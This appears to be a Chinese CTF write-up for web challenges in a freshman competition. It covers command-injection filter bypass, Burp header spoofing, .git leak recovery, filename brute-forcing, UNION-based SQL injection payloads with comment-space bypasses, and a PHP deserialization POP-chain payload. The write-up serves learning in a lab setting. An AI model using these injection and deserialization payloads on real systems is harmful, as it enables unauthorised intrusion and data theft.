Chive秋季新生赛web题解

First Post:

Last Update:

Word Count:
1.5k

Read Time:
7 min

WEB题解

WEB签到

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
@error_reporting(0);

$a=$_GET['a'];
if(strlen($a)!=3||$a=='cat'){
die("no way");
}
else{
$cmd=$a." ./flag.php";
system($cmd);
}
?>

看代码可知,是一道简单的命令注入,命令不能是cat,长度还得是3,于是就可以使用命令tac来读取flag

GET传参 ,URl后面加上 /?a=tac 即可

图灵测试

BurpSuite的简单应用

1.首先是GET传参 ?VaalaCat=yyds 刷新

2.然后在Burp的请求拦截中,发送给Repeater,修改请求方法为POST 在最后加上 Niebelungen=yyds,同时添加参数 Content-Type: application/x-www-form-urlencoded

3.仍然在Repeater中,修改Cookie: name=7att1ce

4.在User-Agent:下面添加一行 X-Forwarded-For:255.256.257.258

5.再在下面添加一行 Referer:https://space.bilibili.com/199118139

上述操作执行完之后就能过关,完整的HTTP请求头如图所示

提示flag在fl4g1sH3r3.php中,访问这个地址,用burp拦截,发送给Repeater,在右边的HTTP相应中可以找到flag

Webmisc

直接dirsearch扫盘,发现隐藏的备份文件

1
python3 dirsearch.py -u http://0a1550e9-ca05-4563-be82-9ed6fbc59a83.node.vaala.ink/

下载下来备份文件后,发现是个套娃压缩包,文件名作为解压密码,直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import zipfile
dir = "C:\\Users\\LiangMaxwell\\Downloads\\backup\\"
n = 0
s2 = ""
def jieya():
i = "22531.zip"
for x in range(10000):
ss = i[:i.find(".")]
print(i)
password = ss
zpf = zipfile.ZipFile(dir + ss + ".zip")
list = zpf.namelist()
for f in list:
zpf.extract(f, dir, password.encode('utf-8'))
print(ss + " success " + str(f))
i = str(f)
jieya()

轻松得到flag

华强买瓜

首先还是dirsearch扫盘,发现/.git/泄露

使用神器GitHack,将git文件下载下来

然后在下载下来的文件夹中使用git,用git log查看历史版本

利用git reset --hard id回到之前的版本

小知识,在git bash 中: 复制: CTRL+INSERT 粘贴: SHIFT+INSERT


然后用Vi还原打开.hint.swp,可以看到提示,flag被藏到了一个图片里gua@@@@.png,其中@@@@是四个阿拉伯数字,直接上Burp进行爆破,可以在http相应中发现gua8848.png有长响应,访问即可看见flag

十月新番导视

点进去看啥也没有,扫盘也扫不出来,查看源码时发现一个隐藏的地址

访问之后如下图所示

注意到有个?id=,可以看出来这个是一道SQL注入题,稍加测试就可以发现屏蔽了空格和一些关键词,但可以大小写绕过和注释绕过

payload如下所示

1
2
3
4
5
6
7
8
9
10
1/**/order/**/by/**/3
#3无结果,说明主select有两个变量
-1/**/Union/**/Select/**/1,/**/database()
#得到数据库为bangumi
-1/**/Union/**/Select/**/1,/**/Group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema/**/=/**/'bangumi'
#得到bangumi_secret,october两个表
-1/**/Union/**/Select/**/1,/**/Group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name/**/=/**/'bangumi_secret'
#发现flag
-1/**/Union/**/Select/**/1,/**/flag/**/From/**/bangumi_secret
#读取到flag

Easy UnSerialize

先看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Fifth Space <?php
class Read {
public function read(){
echo file_get_contents("flag.php");
}
public function __invoke(){
$this->read();
}
}

class Show{
public $source;
public $fuck;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['chain'])){
@unserialize($_GET['chain']);
}
else{
echo "Fifth Space";
highlight_file(__FILE__);
}

?>

首先第一个Read类

1
2
3
4
5
6
7
8
class Read {
public function read(){
echo file_get_contents("flag.php");
}
public function __invoke(){
$this->read();
}
}

可以读取flag,而且这里有魔法方法__invoke 当脚本尝试将对象调用为函数时会触发,所以在脚本中,我们要尽量把Read类调用为函数,来触发LFI

Show类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Show{
public $source;
public $fuck;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

首先是wakeup当中禁用了一些协议,但是很明显没有禁用filter协议,之后看到这里有两个魔法方法:

_toString 把类当作字符串使用时触发,当然需要与echo方法进行配合使用

_wakeup 使用反序列化函数时触发

Test类

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

__get 从不可访问的属性中读取数据会触发会返回function作为函数调用。

构造pop链

我们可以先使用反序列化触发Show类中的wakeup方法,之后想办法触发__tostring方法,之后将str实例化为Test,因为Test类中不含source属性,所以调用get方法,在这个时候我们便可以把 Read类当作函数调用,从而达到效果
之后便可运行以下php内容得到利用参数

1
<?phpclass Read {    }class Show{    public $source;    public $str;	public function __construct($file){    $this->source = $file;    }    public function __toString(){        return "LiangMaxwell";    }}class Test{    public $p;}$a = new Show('aaa');$a->str = new Test();$a->str->p = new Read();$b = new Show($a);echo serialize($b);?>

得到

1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:3:"aaa";s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":0:{}}}s:3:"str";N;}

GET传参

1
chain=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:3:"aaa";s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":0:{}}}s:3:"str";N;}

但是页面一片空白,这时候按下神奇的F12就能看到flag

(我至少将这个正确的payload提交了20次,都没想到在F12中藏一个flag,烂完了)